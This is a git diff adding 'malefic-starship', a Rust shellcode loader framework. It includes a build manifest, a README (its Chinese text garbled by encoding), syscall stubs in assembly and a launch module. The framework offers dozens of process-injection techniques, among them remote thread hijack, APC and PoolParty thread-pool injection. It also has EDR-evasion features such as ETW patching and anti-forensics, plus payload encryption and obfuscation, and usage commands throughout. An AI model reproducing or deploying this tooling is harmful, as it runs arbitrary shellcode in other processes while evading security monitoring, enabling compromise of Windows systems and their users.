[ + "windows-targets", +] + +[[package]] +name = "windows-strings" +version = "0.1.0" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "4cd9b125c486025df0eabcb585e62173c6c9eddcec5d117d3b6e8c30e2ee4d10" +dependencies = [ + "windows-result", + "windows-targets", +] + +[[package]] +name = "windows-sys" +version = "0.52.0" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "282be5f36a8ce781fad8c8ae18fa3f9beff57ec1b52cb3de0789201425d9a33d" +dependencies = [ + "windows-targets", +] + +[[package]] +name = "windows-sys" +version = "0.59.0" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "1e38bc4d79ed67fd075bcc251a1c39b32a1776bbe92e5bef1f0bf1f8c531853b" +dependencies = [ + "windows-targets", +] + +[[package]] +name = "windows-sys" +version = "0.61.2" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "ae137229bcbd6cdf0f7b80a31df61766145077ddf49416a728b02cb3921ff3fc" +dependencies = [ + "windows-link", +] + +[[package]] +name = "windows-targets" +version = "0.52.6" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "9b724f72796e036ab90c1021d4780d4d3d648aca59e491e6b98e725b84e99973" +dependencies = [ + "windows_aarch64_gnullvm", + "windows_aarch64_msvc", + "windows_i686_gnu", + "windows_i686_gnullvm", + "windows_i686_msvc", + "windows_x86_64_gnu", + "windows_x86_64_gnullvm", + "windows_x86_64_msvc", +] + +[[package]] +name = "windows_aarch64_gnullvm" +version = "0.52.6" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "32a4622180e7a0ec044bb555404c800bc9fd9ec262ec147edd5989ccd0c02cd3" + +[[package]] +name = "windows_aarch64_msvc" +version = "0.52.6" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "09ec2a7bb152e2252b53fa7803150007879548bc709c039df7627cabbd05d469" + +[[package]] +name = "windows_i686_gnu" +version = "0.52.6" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "8e9b5ad5ab802e97eb8e295ac6720e509ee4c243f69d781394014ebfe8bbfa0b" + +[[package]] +name = "windows_i686_gnullvm" +version = "0.52.6" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "0eee52d38c090b3caa76c563b86c3a4bd71ef1a819287c19d586d7334ae8ed66" + +[[package]] +name = "windows_i686_msvc" +version = "0.52.6" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "240948bc05c5e7c6dabba28bf89d89ffce3e303022809e73deaefe4f6ec56c66" + +[[package]] +name = "windows_x86_64_gnu" +version = "0.52.6" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "147a5c80aabfbf0c7d901cb5895d1de30ef2907eb21fbbab29ca94c5b08b1a78" + +[[package]] +name = "windows_x86_64_gnullvm" +version = "0.52.6" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "24d5b23dc417412679681396f2b49f3de8c1473deb516bd34410872eff51ed0d" + +[[package]] +name = "windows_x86_64_msvc" +version = "0.52.6" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "589f6da84c646204747d1270a2a5661ea66ed1cced2631d546fdfb155959f9ec" + +[[package]] +name = "zerocopy" +version = "0.8.40" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "a789c6e490b576db9f7e6b6d661bcc9799f7c0ac8352f56ea20193b2681532e5" +dependencies = [ + "zerocopy-derive", +] + +[[package]] +name = "zerocopy-derive" +version = "0.8.40" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "f65c489a7071a749c849713807783f70672b28094011623e200cb86dcb835953" +dependencies = [ + "proc-macro2", + "quote", + "syn 2.0.117", +] + +[[package]] +name = "zeroize" +version = "1.8.2" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "b97154e67e32c85465826e8bcc1c59429aaaf107c1e4a9e53c8d8ccd5eff88d0" + +[[package]] +name = "zmij" +version = "1.0.21" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "b8848ee67ecc8aedbaf3e4122217aff892639231befc6a1b58d29fff4c2cabaa" diff --git a/malefic-starship/Cargo.toml b/malefic-starship/Cargo.toml new file mode 100644 index 0000000..fba3bde --- /dev/null +++ b/malefic-starship/Cargo.toml @@ -0,0 +1,81 @@ +[package] +name = "malefic-starship" +version = "0.1.0" +edition = "2021" + +[lib] +name = "malefic_starship" +path = "src/lib.rs" + +[[bin]] +name = "starship" +path = "src/main.rs" + +[build-dependencies] +cc = "1.0" +bindgen = "0.72.1" +syn = { version = "2", features = ["parsing", "full"] } +quote = "1" +# Pin tempfile to avoid getrandom 0.4 (requires edition 2024) +tempfile = "=3.15.0" + +[dependencies] +malefic-os-win = { path = "../malefic-crates/win" } +malefic-codec = { path = "../malefic-crates/codec" } +malefic-evader = { path = "../malefic-crates/evader", default-features = false } +malefic-features = { path = "../malefic-crates/features" } + +[features] +default = [] + +# Debug output +debug = ["malefic-evader/debug"] + +# Loader features (Community Edition: 2 basic templates) +basic_template = [] # Basic template (no-op example) +func_ptr = [] # Function pointer self-injection + +# Encoding features - forwarded to malefic-codec +enc_xor = ["malefic-codec/codec_xor"] +enc_uuid = ["malefic-codec/codec_uuid"] +enc_mac = ["malefic-codec/codec_mac"] +enc_ipv4 = ["malefic-codec/codec_ipv4"] +enc_base64 = ["malefic-codec/codec_base64"] +enc_base45 = ["malefic-codec/codec_base45"] +enc_base58 = ["malefic-codec/codec_base58"] +enc_aes = ["malefic-codec/codec_aes"] +enc_aes2 = ["malefic-codec/codec_aes2"] +enc_des = ["malefic-codec/codec_des"] +enc_chacha = ["malefic-codec/codec_chacha"] +enc_rc4 = ["malefic-codec/codec_rc4"] + +# Embedded payload support +embedded_payload = [] # Include payload from generated/ directory + +# ── Evasion features ────────────────────────────────────────────────────────── +evader_anti_emu = ["malefic-evader/evader_anti_emu"] +evader_etw_pass = ["malefic-evader/evader_etw_pass"] +evader_god_speed = ["malefic-evader/evader_god_speed"] +evader_sleep_encrypt = ["malefic-evader/evader_sleep_encrypt"] +evader_anti_forensic = ["malefic-evader/evader_anti_forensic"] +evader_cfg_patch = ["malefic-evader/evader_cfg_patch"] +evader_api_untangle = ["malefic-evader/evader_api_untangle"] +evader_normal_api = ["malefic-evader/evader_normal_api"] +evader_full = [ + "evader_anti_emu", + "evader_etw_pass", + "evader_god_speed", + "evader_sleep_encrypt", + "evader_anti_forensic", + "evader_cfg_patch", + "evader_api_untangle", + "evader_normal_api", +] + +[profile.release] +opt-level = "z" +lto = true +strip = true +panic = "abort" + +[workspace] diff --git a/malefic-starship/README.md b/malefic-starship/README.md new file mode 100644 index 0000000..f0d3155 --- /dev/null +++ b/malefic-starship/README.md @@ -0,0 +1,93 @@ +# Malefic Starship + +模å—化 shellcode loader 框架。 + +``` +Load → Decode → Evade → Execute +``` + +所有组件通过 Cargo feature é—¨æŽ§ï¼Œåªæœ‰å¯ç”¨çš„部分会编译进最终二进制。 + +> è¯¦ç»†æ–‡æ¡£è§ [docs/opsec/starship.md](../docs/opsec/starship.md) + +## 快速开始 + +```bash +# 基础 loader +cargo build --features func_ptr + +# 加密 payload + è§„é¿ +cargo build --features sifu_syscall,enc_aes,evader_full + +# 内嵌 payload + 全混淆 +cargo build --features func_ptr,embedded_payload,obf_full + +# 全家桶 +cargo build --features sifu_syscall,enc_aes,evader_full,obf_full +``` + +## Features + +### æž„å»ºæ¨¡å¼ + +| Feature | 说明 | +|---------|------| +| `source`(默认) | 从æºç ç¼–译 FFI 绑定 | +| `prebuild` | 链接预编译库 | +| `embedded_payload` | 编译时内嵌 payload | +| `debug` | å¯ç”¨è°ƒè¯•输出 | + +### Loader(64 ç§ï¼‰ + +| 类别 | Features | +|------|----------| +| 自注入 | `func_ptr` `basic_template` `fiber_exec` `atexit_callback` `tls_callback` `threadpool_work` | +| Syscall | `direct_syscall` `indirect_syscall` `halos_gate` `ninja_syscall` `sifu_syscall` `sifu_syscall_v2` `sifu_cityhash` `indirect_syscall_halo_stack` `edr_sps_v1` `edr_sps_v2_halo` | +| 远程注入 | `userland_api` `nt_api_remote` `nt_api_dynamic` `remote_mockingjay` `remote_thread_self` `thread_hijack` `woodpecker` | +| APC | `apc_nttestalert` `apc_write` `apc_protect` `apc_ex2` `apc_dll_overload` `apc_dll_overload_peb` `apc_dll_overload_v2` `threadless_apc` `phantom_dll_apc` | +| DLL | `dll_overload` `dll_overload_apc` `dll_entrypoint_hijack` `dll_notification` `phantom_dll_indirect` | +| 回调 | `enum_fonts` `list_planting` `uuid_enum_locales` `mac_enum_locales` `callback_final` | +| VEH/异常 | `veh_rop` `veh_vch` `veh_debug_reg` `veh_indirect_syscall` `exception_debug` `hwbp_exec` `hwbp_xor` | +| Hook | `rtl_thread_hook` `rop_trampoline` `jump_code_peb` `vmt_hook` `vmt_trampoline` `vt_ptr_redirect` `rc4_variant` | +| PoolParty | `pool_party_v1_worker_factory` `pool_party_v2_tp_work` `pool_party_v3_tp_wait` `pool_party_v4_tp_io` `pool_party_v5_tp_alpc` `pool_party_v6_tp_job` `pool_party_v7_tp_direct` `pool_party_v8_tp_timer` | + +#### PoolParty 线程池注入 (V1-V8) + +基于 [PoolParty](https://github.com/SafeBreach-Labs/PoolParty)(Black Hat EU 2023)的 8 ç§ Windows 线程池注入技术,通过æ“纵目标进程的线程池内部结构实现 shellcode 执行。所有å˜ä½“å‡ä¸ºè¿œç¨‹æ³¨å…¥ï¼Œéœ€è¦æŒ‡å®šç›®æ ‡ PID。 + +```bash +# 编译å•个å˜ä½“ +cargo build --features pool_party_v7_tp_direct,source --release + +# æ‰§è¡Œï¼ˆå‚æ•°: shellcode文件 目标PID) +./target/release/starship.exe shellcode.bin 1234 +``` + +| Variant | 技术 | è§¦å‘æ–¹å¼ | +|---------|------|----------| +| V1 | Worker Factory StartRoutine 覆写 | NtSetInformationWorkerFactory 增加 ThreadMinimum | +| V2 | 远程 TP_WORK æ’å…¥ | 修改目标 TaskQueue 链表 | +| V3 | 远程 TP_WAIT æ’å…¥ | CreateEvent + NtAssociateWaitCompletionPacket + SetEvent | +| V4 | 远程 TP_IO æ’å…¥ | NtSetInformationFile + é‡å  WriteFile | +| V5 | 远程 TP_ALPC æ’å…¥ | NtAlpcCreatePort + NtAlpcConnectPort | +| V6 | 远程 TP_JOB æ’å…¥ | CreateJobObject + AssignProcessToJobObject | +| V7 | 远程 TP_DIRECT æ’å…¥ | ZwSetIoCompletion 直接投递 | +| V8 | 远程 TP_TIMER æ’å…¥ | 修改 TimerQueue + NtSetTimer2 | + +> V8 çš„ `POOL_TIMER_QUEUE_OFFSET` 在 Windows 11 24H2 上为 0x70,与旧版本ä¸åŒã€‚ + +### ç¼–ç ï¼ˆ12 ç§ï¼‰ + +`enc_xor` `enc_rc4` `enc_aes` `enc_aes2` `enc_des` `enc_chacha` `enc_base64` `enc_base45` `enc_base58` `enc_uuid` `enc_mac` `enc_ipv4` + +### è§„é¿ï¼ˆ8 ç§ï¼‰ + +`evader_anti_emu` `evader_god_speed` `evader_api_untangle` `evader_etw_pass` `evader_cfg_patch` `evader_normal_api` `evader_sleep_encrypt` `evader_anti_forensic` + +`evader_full` å¯ç”¨å…¨éƒ¨ã€‚ + +### 混淆(4 ç§ï¼‰ + +`obf_strings` `obf_junk` `obf_memory` `obf_flow` + +`obf_full` = `obf_strings` + `obf_junk` + `obf_memory` diff --git a/malefic-starship/asm/direct_syscall.asm b/malefic-starship/asm/direct_syscall.asm new file mode 100644 index 0000000..b7b16db --- /dev/null +++ b/malefic-starship/asm/direct_syscall.asm @@ -0,0 +1,35 @@ +; direct_syscall.asm - MASM syntax for ml64.exe +; Direct syscall stubs for NtAllocateVirtualMemory, NtWriteVirtualMemory, +; NtCreateThreadEx, NtWaitForSingleObject + +.CODE + +_NtAllocateVirtualMemory_stub PROC + mov r10, rcx + mov eax, 018h + syscall + ret +_NtAllocateVirtualMemory_stub ENDP + +_NtWriteVirtualMemory_stub PROC + mov r10, rcx + mov eax, 03Ah + syscall + ret +_NtWriteVirtualMemory_stub ENDP + +_NtCreateThreadEx_stub PROC + mov r10, rcx + mov eax, 0C7h + syscall + ret +_NtCreateThreadEx_stub ENDP + +_NtWaitForSingleObject_stub PROC + mov r10, rcx + mov eax, 04h + syscall + ret +_NtWaitForSingleObject_stub ENDP + +END diff --git a/malefic-starship/asm/edr_syscall_1.asm b/malefic-starship/asm/edr_syscall_1.asm new file mode 100644 index 0000000..6424ee3 --- /dev/null +++ b/malefic-starship/asm/edr_syscall_1.asm @@ -0,0 +1,52 @@ +global _NtAllocateVirtualMemory_stub +global _NtWriteVirtualMemory_stub +global _NtCreateThreadEx_stub +global _NtWaitForSingleObject_stub +global _NtProtectVirtualMemory_stub + +extern sysAddrNtAllocateVirtualMemory +extern sysAddrNtWriteVirtualMemory +extern sysAddrNtCreateThreadEx +extern sysAddrNtWaitForSingleObject +extern sysAddrNtProtectVirtualMemory +extern edrJumpAddressR11_15 +extern edrRetAddr + +section .text + +_NtProtectVirtualMemory_stub: + mov r10, rcx + mov eax, 0x50 + ;jmp qword [rel sysAddrNtProtectVirtualMemory] + mov r11, qword [rel sysAddrNtProtectVirtualMemory] + mov r12, [rel edrJumpAddressR11_15] + jmp r12 + + +_NtAllocateVirtualMemory_stub: + mov r10, rcx + xor eax, eax + add eax, 0x18 + mov r11, qword [rel sysAddrNtAllocateVirtualMemory] + mov r12, [rel edrJumpAddressR11_15] + jmp r12 + +_NtWriteVirtualMemory_stub: + mov r10, rcx + mov eax, 0x3A + mov r11, qword [rel sysAddrNtWriteVirtualMemory] + mov r12, [rel edrJumpAddressR11_15] + ;mov r13, qword [rel edrRetAddr] + ;push r13 + jmp r12 + +_NtCreateThreadEx_stub: + mov r10, rcx + mov eax, 0xC7 + jmp qword [rel sysAddrNtCreateThreadEx] + +_NtWaitForSingleObject_stub: + mov r10, rcx + mov eax, 0x4 + jmp qword [rel sysAddrNtWaitForSingleObject] + diff --git a/malefic-starship/asm/edr_syscall_2.asm b/malefic-starship/asm/edr_syscall_2.asm new file mode 100644 index 0000000..90aa4c9 --- /dev/null +++ b/malefic-starship/asm/edr_syscall_2.asm @@ -0,0 +1,72 @@ +global _NtAllocateVirtualMemory_stub +global _NtWriteVirtualMemory_stub +global _NtCreateThreadEx_stub +global _NtWaitForSingleObject_stub + +global _NtAllocateVirtualMemory_stub_nothooked +global _NtWriteVirtualMemory_stub_nothooked +global _NtCreateThreadEx_stub_nothooked +global _NtWaitForSingleObject_stub_nothooked + +extern sysAddrNtAllocateVirtualMemory +extern sysAddrNtWriteVirtualMemory +extern sysAddrNtCreateThreadEx +extern sysAddrNtWaitForSingleObject +extern callRax + +section .text + +_NtAllocateVirtualMemory_stub: + ;mov r10, rcx + mov rax, qword [rel sysAddrNtAllocateVirtualMemory] + jmp rax + ;mov r14, qword [rel callRax] + ;call r14 + ;ret + + +; NtWriteVirtualMemory has 4 mandatory arguments, so it is fine to clobber the call stack. +_NtWriteVirtualMemory_stub: + ;mov r10, rcx + mov rax, qword [rel sysAddrNtWriteVirtualMemory] + ;jmp rax + mov r15, qword [rel callRax] + call r15 + ret + +_NtCreateThreadEx_stub: + ;mov r10, rcx + mov rax, qword [rel sysAddrNtCreateThreadEx] + mov r11, [rel callRax] + jmp r11 + +_NtWaitForSingleObject_stub: + ;mov r10, rcx + mov r10, rcx + mov eax, 0x4 + jmp qword [rel sysAddrNtWaitForSingleObject] + + + +_NtAllocateVirtualMemory_stub_nothooked: + mov r10, rcx + mov eax, 0x18 + jmp qword [rel sysAddrNtAllocateVirtualMemory] + +_NtWriteVirtualMemory_stub_nothooked: + mov r10, rcx + mov eax, 0x3A + jmp qword [rel sysAddrNtWriteVirtualMemory] + +_NtCreateThreadEx_stub_nothooked: + mov r10, rcx + mov eax, 0xC7 + jmp qword [rel sysAddrNtCreateThreadEx] + +_NtWaitForSingleObject_stub_nothooked: + mov r10, rcx + mov eax, 0x4 + jmp qword [rel sysAddrNtWaitForSingleObject] + + + diff --git a/malefic-starship/asm/indirect_syscall.asm b/malefic-starship/asm/indirect_syscall.asm new file mode 100644 index 0000000..1d600eb --- /dev/null +++ b/malefic-starship/asm/indirect_syscall.asm @@ -0,0 +1,31 @@ +global _NtAllocateVirtualMemory_stub +global _NtWriteVirtualMemory_stub +global _NtCreateThreadEx_stub +global _NtWaitForSingleObject_stub + +extern sysAddrNtAllocateVirtualMemory +extern sysAddrNtWriteVirtualMemory +extern sysAddrNtCreateThreadEx +extern sysAddrNtWaitForSingleObject + +section .text + +_NtAllocateVirtualMemory_stub: + mov r10, rcx + mov eax, 0x18 + jmp qword [rel sysAddrNtAllocateVirtualMemory] + +_NtWriteVirtualMemory_stub: + mov r10, rcx + mov eax, 0x3A + jmp qword [rel sysAddrNtWriteVirtualMemory] + +_NtCreateThreadEx_stub: + mov r10, rcx + mov eax, 0xC7 + jmp qword [rel sysAddrNtCreateThreadEx] + +_NtWaitForSingleObject_stub: + mov r10, rcx + mov eax, 0x4 + jmp qword [rel sysAddrNtWaitForSingleObject] diff --git a/malefic-starship/asm/woodpecker_assm.asm b/malefic-starship/asm/woodpecker_assm.asm new file mode 100644 index 0000000..c0d1c2e --- /dev/null +++ b/malefic-starship/asm/woodpecker_assm.asm @@ -0,0 +1,71 @@ +; woodpecker_assm.asm +; NASM syntax - compatible with nasm -f win64 + +global NtAllocateMemory +global NtWriteMemory +global NtProtectMemory +global NtCreateThd +global NtQueueApc2 + +extern NtAllocateMemory +extern NtWriteMemory +extern NtProtectMemory +extern NtCreateThd +extern NtQueueApc2 + +section .text + +NtAllocateMemory: + mov r8, r10 + xor r10, r10 + mov r10, 0x0A + mov r10, rcx + xor eax, eax + sub r8, r10 + add eax, 0x18 + xor r8, r8 + syscall + ret + +NtWriteMemory: + add rcx, 0x0A + xor eax, eax + mov r10, rcx + add eax, 0x3A + sub r10, 0x0A + sub rcx, 0x0A + syscall + ret + +NtProtectMemory: + add r10, 0x1C + xor eax, eax + mov r10, rcx + sub r10, 0x1 + add eax, 0x50 + add r10, 0x1 + syscall + ret + +NtQueueApc2: + mov r10, rcx + mov eax, 0x171 + syscall + ret + +NtQueueApc: + mov r10, rcx + mov eax, 0x170 + syscall + ret + +NtCreateThd: + mov r10, rcx + mov eax, 0xC7 + syscall + test rax, rax + jz .done + + +.done: + ret diff --git a/malefic-starship/src/decoder/mod.rs b/malefic-starship/src/decoder/mod.rs new file mode 100644 index 0000000..5ebea23 --- /dev/null +++ b/malefic-starship/src/decoder/mod.rs @@ -0,0 +1,38 @@ +//! Payload decoder module +//! Feature-gated decoders delegating to malefic-codec + +#[cfg(feature = "enc_xor")] +pub use malefic_codec::xor; + +#[cfg(feature = "enc_uuid")] +pub use malefic_codec::uuid; + +#[cfg(feature = "enc_mac")] +pub use malefic_codec::mac; + +#[cfg(feature = "enc_ipv4")] +pub use malefic_codec::ipv4; + +#[cfg(feature = "enc_base64")] +pub use malefic_codec::base64 as base64_dec; + +#[cfg(feature = "enc_base45")] +pub use malefic_codec::base45; + +#[cfg(feature = "enc_base58")] +pub use malefic_codec::base58; + +#[cfg(any(feature = "enc_aes", feature = "enc_aes2"))] +pub use malefic_codec::aes as aes_dec; + +#[cfg(feature = "enc_aes2")] +pub use malefic_codec::aes2; + +#[cfg(feature = "enc_des")] +pub use malefic_codec::des as des_dec; + +#[cfg(feature = "enc_chacha")] +pub use malefic_codec::chacha; + +#[cfg(feature = "enc_rc4")] +pub use malefic_codec::rc4; diff --git a/malefic-starship/src/launch.rs b/malefic-starship/src/launch.rs new file mode 100644 index 0000000..6351b20 --- /dev/null +++ b/malefic-starship/src/launch.rs @@ -0,0 +1,392 @@ +//! Starship Launch — reusable API wrapping malefic-starship's +//! Load → Decode → Evade → Execute pipeline. + +use crate::loaders::common::Shellcode; + +/// Load shellcode from a file on disk. +pub fn load_shellcode(path: &str) -> Result { + let data = std::fs::read(path).map_err(|e| format!("Failed to read: {}", e))?; + Ok(Shellcode::new(data)) +} + +/// Decode an encoded payload using whichever encoding feature is enabled. +/// +/// If no encoding feature is active, returns `encoded` as-is. +#[allow(unused_variables)] +pub fn decode_payload(encoded: &[u8], key: &[u8], extra: &[u8]) -> Vec { + #[cfg(feature = "enc_xor")] + { return crate::decoder::xor::decode(encoded, key, extra); } + + #[cfg(feature = "enc_uuid")] + { return crate::decoder::uuid::decode(encoded, key, extra); } + + #[cfg(feature = "enc_mac")] + { return crate::decoder::mac::decode(encoded, key, extra); } + + #[cfg(feature = "enc_ipv4")] + { return crate::decoder::ipv4::decode(encoded, key, extra); } + + #[cfg(feature = "enc_base64")] + { return crate::decoder::base64_dec::decode(encoded, key, extra); } + + #[cfg(feature = "enc_base45")] + { return crate::decoder::base45::decode(encoded, key, extra); } + + #[cfg(feature = "enc_base58")] + { return crate::decoder::base58::decode(encoded, key, extra); } + + #[cfg(feature = "enc_aes")] + { return crate::decoder::aes_dec::decode(encoded, key, extra); } + + #[cfg(feature = "enc_aes2")] + { return crate::decoder::aes2::decode(encoded, key, extra); } + + #[cfg(feature = "enc_des")] + { return crate::decoder::des_dec::decode(encoded, key, extra); } + + #[cfg(feature = "enc_chacha")] + { return crate::decoder::chacha::decode(encoded, key, extra); } + + #[cfg(feature = "enc_rc4")] + { return crate::decoder::rc4::decode(encoded, key, extra); } + + // No encoding feature enabled — pass through raw data + #[allow(unreachable_code)] + encoded.to_vec() +} + +/// Returns `true` if any encoding feature is enabled at compile time. +pub fn has_encoding() -> bool { + cfg!(any( + feature = "enc_xor", + feature = "enc_uuid", + feature = "enc_mac", + feature = "enc_ipv4", + feature = "enc_base64", + feature = "enc_base45", + feature = "enc_base58", + feature = "enc_aes", + feature = "enc_aes2", + feature = "enc_des", + feature = "enc_chacha", + feature = "enc_rc4", + )) +} + +/// Execute shellcode using the compile-time-selected loader technique. +/// +/// # Safety +/// Executes arbitrary shellcode in the current process (or a remote process +/// identified by `target_pid`). +#[allow(unused_variables)] +pub unsafe fn execute_loader(shellcode: &Shellcode, target_pid: Option) -> Result<(), String> { + #[cfg(feature = "apc_nttestalert")] + { return crate::loaders::apc_nttestalert::execute(shellcode); } + #[cfg(feature = "sifu_cityhash")] + { return crate::loaders::sifu_cityhash::execute(shellcode, target_pid.unwrap_or(0)); } + #[cfg(feature = "uuid_enum_locales")] + { return crate::loaders::uuid_enum_locales::execute(shellcode); } + #[cfg(feature = "remote_mockingjay")] + { return crate::loaders::remote_mockingjay::execute(shellcode, target_pid.unwrap_or(0)); } + #[cfg(feature = "thread_hijack")] + { return crate::loaders::thread_hijack::execute(shellcode, target_pid.unwrap_or(0)); } + #[cfg(feature = "func_ptr")] + { return crate::loaders::func_ptr::execute(shellcode); } + #[cfg(feature = "list_planting")] + { return crate::loaders::list_planting::execute(shellcode); } + #[cfg(feature = "dll_entrypoint_hijack")] + { return crate::loaders::dll_entrypoint_hijack::execute(shellcode); } + #[cfg(feature = "ninja_syscall")] + { return crate::loaders::ninja_syscall::execute(shellcode, target_pid.unwrap_or(0)); } + #[cfg(feature = "sifu_syscall")] + { return crate::loaders::sifu_syscall::execute(shellcode, target_pid.unwrap_or(0)); } + #[cfg(feature = "sifu_syscall_v2")] + { return crate::loaders::sifu_syscall_v2::execute(shellcode); } + #[cfg(feature = "basic_template")] + { return crate::loaders::basic_template::execute(shellcode); } + #[cfg(feature = "nt_api_remote")] + { return crate::loaders::nt_api_remote::execute(shellcode, target_pid.unwrap_or(0)); } + #[cfg(feature = "userland_api")] + { return crate::loaders::userland_api::execute(shellcode, target_pid); } + #[cfg(feature = "apc_write")] + { return crate::loaders::apc_write::execute(shellcode, target_pid.unwrap_or(0)); } + #[cfg(feature = "enum_fonts")] + { return crate::loaders::enum_fonts::execute(shellcode); } + #[cfg(feature = "dll_overload")] + { return crate::loaders::dll_overload::execute(shellcode); } + #[cfg(feature = "dll_overload_apc")] + { return crate::loaders::dll_overload_apc::execute(shellcode); } + #[cfg(feature = "veh_indirect_syscall")] + { return crate::loaders::veh_indirect_syscall::execute(shellcode); } + #[cfg(feature = "apc_dll_overload")] + { return crate::loaders::apc_dll_overload::execute(shellcode); } + #[cfg(feature = "nt_api_dynamic")] + { return crate::loaders::nt_api_dynamic::execute(shellcode); } + #[cfg(feature = "apc_dll_overload_peb")] + { return crate::loaders::apc_dll_overload_peb::execute(shellcode); } + #[cfg(feature = "apc_dll_overload_v2")] + { return crate::loaders::apc_dll_overload_v2::execute(shellcode); } + #[cfg(feature = "apc_ex2")] + { return crate::loaders::apc_ex2::execute(shellcode); } + #[cfg(feature = "halos_gate")] + { return crate::loaders::halos_gate::execute(shellcode); } + #[cfg(feature = "indirect_syscall")] + { return crate::loaders::indirect_syscall::execute(shellcode); } + #[cfg(feature = "direct_syscall")] + { return crate::loaders::direct_syscall::execute(shellcode); } + #[cfg(feature = "mac_enum_locales")] + { return crate::loaders::mac_enum_locales::execute(shellcode); } + #[cfg(feature = "apc_protect")] + { return crate::loaders::apc_protect::execute(shellcode); } + #[cfg(feature = "indirect_syscall_halo_stack")] + { return crate::loaders::indirect_syscall_halo_stack::execute(shellcode, target_pid); } + #[cfg(feature = "edr_sps_v1")] + { return crate::loaders::edr_sps_v1::execute(shellcode); } + #[cfg(feature = "edr_sps_v2_halo")] + { return crate::loaders::edr_sps_v2_halo::execute(shellcode); } + #[cfg(feature = "phantom_dll_apc")] + { return crate::loaders::phantom_dll_apc::execute(shellcode); } + #[cfg(feature = "threadless_apc")] + { return crate::loaders::threadless_apc::execute(shellcode); } + #[cfg(feature = "tls_callback")] + { return crate::loaders::tls_callback::execute(shellcode); } + #[cfg(feature = "threadpool_work")] + { return crate::loaders::threadpool_work::execute(shellcode); } + #[cfg(feature = "dll_notification")] + { return crate::loaders::dll_notification::execute(shellcode); } + #[cfg(feature = "jump_code_peb")] + { return crate::loaders::jump_code_peb::execute(shellcode); } + #[cfg(feature = "fiber_exec")] + { return crate::loaders::fiber_exec::execute(shellcode); } + #[cfg(feature = "atexit_callback")] + { return crate::loaders::atexit_callback::execute(shellcode); } + #[cfg(feature = "hwbp_exec")] + { return crate::loaders::hwbp_exec::execute(shellcode); } + #[cfg(feature = "hwbp_xor")] + { return crate::loaders::hwbp_xor::execute(shellcode); } + #[cfg(feature = "woodpecker")] + { return crate::loaders::woodpecker::execute(shellcode); } + #[cfg(feature = "rtl_thread_hook")] + { return crate::loaders::rtl_thread_hook::execute(shellcode); } + #[cfg(feature = "rop_trampoline")] + { return crate::loaders::rop_trampoline::execute(shellcode); } + #[cfg(feature = "phantom_dll_indirect")] + { return crate::loaders::phantom_dll_indirect::execute(shellcode); } + #[cfg(feature = "rc4_variant")] + { return crate::loaders::rc4_variant::execute(shellcode); } + #[cfg(feature = "veh_rop")] + { return crate::loaders::veh_rop::execute(shellcode); } + #[cfg(feature = "exception_debug")] + { return crate::loaders::exception_debug::execute(shellcode); } + #[cfg(feature = "veh_vch")] + { return crate::loaders::veh_vch::execute(shellcode); } + #[cfg(feature = "remote_thread_self")] + { return crate::loaders::remote_thread_self::execute(shellcode); } + #[cfg(feature = "vmt_hook")] + { return crate::loaders::vmt_hook::execute(shellcode); } + #[cfg(feature = "vmt_trampoline")] + { return crate::loaders::vmt_trampoline::execute(shellcode); } + #[cfg(feature = "veh_debug_reg")] + { return crate::loaders::veh_debug_reg::execute(shellcode); } + #[cfg(feature = "vt_ptr_redirect")] + { return crate::loaders::vt_ptr_redirect::execute(shellcode); } + #[cfg(feature = "callback_final")] + { return crate::loaders::callback_final::execute(shellcode); } + + #[cfg(feature = "pool_party_v1_worker_factory")] + { return crate::loaders::pool_party_v1_worker_factory::execute(shellcode, target_pid.unwrap_or(0)); } + #[cfg(feature = "pool_party_v2_tp_work")] + { return crate::loaders::pool_party_v2_tp_work::execute(shellcode, target_pid.unwrap_or(0)); } + #[cfg(feature = "pool_party_v3_tp_wait")] + { return crate::loaders::pool_party_v3_tp_wait::execute(shellcode, target_pid.unwrap_or(0)); } + #[cfg(feature = "pool_party_v4_tp_io")] + { return crate::loaders::pool_party_v4_tp_io::execute(shellcode, target_pid.unwrap_or(0)); } + #[cfg(feature = "pool_party_v5_tp_alpc")] + { return crate::loaders::pool_party_v5_tp_alpc::execute(shellcode, target_pid.unwrap_or(0)); } + #[cfg(feature = "pool_party_v6_tp_job")] + { return crate::loaders::pool_party_v6_tp_job::execute(shellcode, target_pid.unwrap_or(0)); } + #[cfg(feature = "pool_party_v7_tp_direct")] + { return crate::loaders::pool_party_v7_tp_direct::execute(shellcode, target_pid.unwrap_or(0)); } + #[cfg(feature = "pool_party_v8_tp_timer")] + { return crate::loaders::pool_party_v8_tp_timer::execute(shellcode, target_pid.unwrap_or(0)); } + + #[allow(unreachable_code)] + Err("No loader feature enabled. Use --features ".to_string()) +} + +/// One-shot pipeline: decode → evade → execute. +/// +/// Pass raw (possibly encoded) shellcode bytes. If an encoding feature is +/// enabled, `key` and `extra` are used for decoding; otherwise they are +/// ignored and can be `None`. +/// +/// # Safety +/// Executes arbitrary shellcode. See [`execute_loader`] for details. +pub unsafe fn run( + shellcode_data: Vec, + key: Option<&[u8]>, + extra: Option<&[u8]>, + target_pid: Option, +) -> Result<(), String> { + // Stage 1: Decode + let decoded = if has_encoding() { + let k = key.unwrap_or(&[]); + let e = extra.unwrap_or(&[]); + decode_payload(&shellcode_data, k, e) + } else { + shellcode_data + }; + + let shellcode = Shellcode::new(decoded); + + // Stage 2: Run evasion modules + malefic_evader::run_evaders(); + + // Stage 3: Execute + execute_loader(&shellcode, target_pid) +} + +#[cfg(test)] +mod tests { + use super::*; + use std::io::Write; + + #[test] + fn shellcode_new_and_accessors() { + let data = vec![0x90, 0x90, 0xCC]; + let sc = Shellcode::new(data.clone()); + assert_eq!(sc.len(), 3); + 